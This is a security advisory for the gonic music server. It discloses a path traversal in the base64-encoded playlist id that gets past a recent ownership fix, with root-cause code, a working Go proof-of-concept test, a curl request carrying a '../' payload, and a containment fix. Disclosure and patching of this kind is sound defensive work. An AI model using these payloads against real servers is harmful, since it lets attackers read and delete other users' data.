gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists

Overview

Summary

The maintainer's recent fix in 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path.

Any authenticated Subsonic user can therefore bypass the ownership check and:

1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by .. traversal segments pointing into another user's playlist directory.
2. Delete any other user's playlist (including admin's curated playlists) by the same trick against deletePlaylist.
3. Probe arbitrary file paths on the host for existence/readability.

This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).

Root cause

server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:

func playlistIDDecode(id specid.ID) string {
    path, _ := base64.URLEncoding.DecodeString(id.StringValue)
    return string(path)
}

playlist/playlist.go::Store.Read then:

absPath := filepath.Join(s.basePath, relPath)   // no containment check
// ...
playlist.UserID, err = userIDFromPath(relPath)  // extracts firstPathEl, e.g. "2"
if err != nil {
    playlist.UserID = 1                          // fallback
}

userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.

The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ... → false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.

Affected code

• playlist/playlist.go:88-144 — Store.Read joins relPath with basePath without containment validation
• playlist/playlist.go:200-206 — Store.Delete (same pattern)
• playlist/playlist.go:208-220 — userIDFromPath / firstPathEl trust only the first path segment
• server/ctrlsubsonic/handlers_playlist.go:51-72 — ServeGetPlaylist ownership check
• server/ctrlsubsonic/handlers_playlist.go:182-202 — ServeDeletePlaylist ownership check
• server/ctrlsubsonic/handlers_playlist.go:209-212 — playlistIDDecode (no validation)

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_read_traversal_test.go and run go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v:

package ctrlsubsonic

import (
	"fmt"
	"net/url"
	"os"
	"path/filepath"
	"testing"

	"github.com/stretchr/testify/require"
)

func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {
	f := newFixture(t)
	t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)

	// Plant a sentinel M3U file outside the playlists directory.
	tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
	sentinelDir := filepath.Join(tmpDir, "sensitive")
	require.NoError(t, os.MkdirAll(sentinelDir, 0o755))
	sentinelPath := filepath.Join(sentinelDir, "secret.m3u")
	require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret"
#GONIC-COMMENT:"sensitive content"
#GONIC-IS-PUBLIC:"false"
`), 0o644))

	// RAW string — playlistIDDecode does base64 only, no path cleaning.
	rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)
	traversalID := playlistIDEncode(rawRel).String()

	// f.alt is the NON-ADMIN user.
	resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})
	t.Logf("resp: %s", string(resp))

	require.Contains(t, string(resp), "victim-secret",
		"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID)
}

Test output against current master HEAD 6dd71e6:

=== RUN   TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix
    alt user ID: 2, admin user ID: 1
    resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
        "playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==",
        "name":"victim-secret","comment":"sensitive content","owner":"alt",
        "songCount":0,"created":"...","changed":"...","duration":0}}}
--- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s)

The same approach against ServeDeletePlaylist (f.contr.ServeDeletePlaylist) deletes the targeted file.

HTTP-level reproduction

# Attacker user (ID = N) reads target playlist owned by user M.
# Construct the raw rel path: "N/../M/<filename>.m3u"
ATTACKER_ID=2
RAW='2/../1/shared.m3u'

# base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it)
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
  | python3 -m json.tool
# Response includes name, comment, IsPublic, and song list from the victim's playlist.

Impact

• Confidentiality: Any authenticated user can read any other user's playlist content, including the private (IsPublic=false) playlists that the recent 6dd71e6 fix specifically tried to protect.
• Integrity / Availability: Any authenticated user can delete any other user's playlists, including admin's curated lists. Same bypass technique works against ServeDeletePlaylist.
• Trust boundary: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched.
• Arbitrary file content read is constrained by gonic's M3U parser — only #GONIC-NAME: / #GONIC-COMMENT: attributes from the target file survive parsing. File-existence probing works against arbitrary paths.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 7.1 High

Suggested fix

Add path containment in playlist/playlist.go for Store.Read, Store.Write, and Store.Delete — reject any relPath that escapes s.basePath after filepath.Join:

func (s *Store) contained(relPath string) (string, error) {
    absPath := filepath.Join(s.basePath, relPath)
    rel, err := filepath.Rel(s.basePath, absPath)
    if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes playlist directory", relPath)
    }
    return absPath, nil
}

func (s *Store) Read(relPath string) (*Playlist, error) {
    defer lock(&s.mu)()
    if err := sanityCheck(s.basePath); err != nil {
        return nil, err
    }
    absPath, err := s.contained(relPath)
    if err != nil {
        return nil, err
    }
    // ... rest unchanged, using absPath
}

Apply in Write() (line 153) and Delete() (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Affected packages

• go.senan.xyz/gonic <= 0.20.1

Remediation

Upgrade to a patched release:

• go.senan.xyz/gonic 0.21.0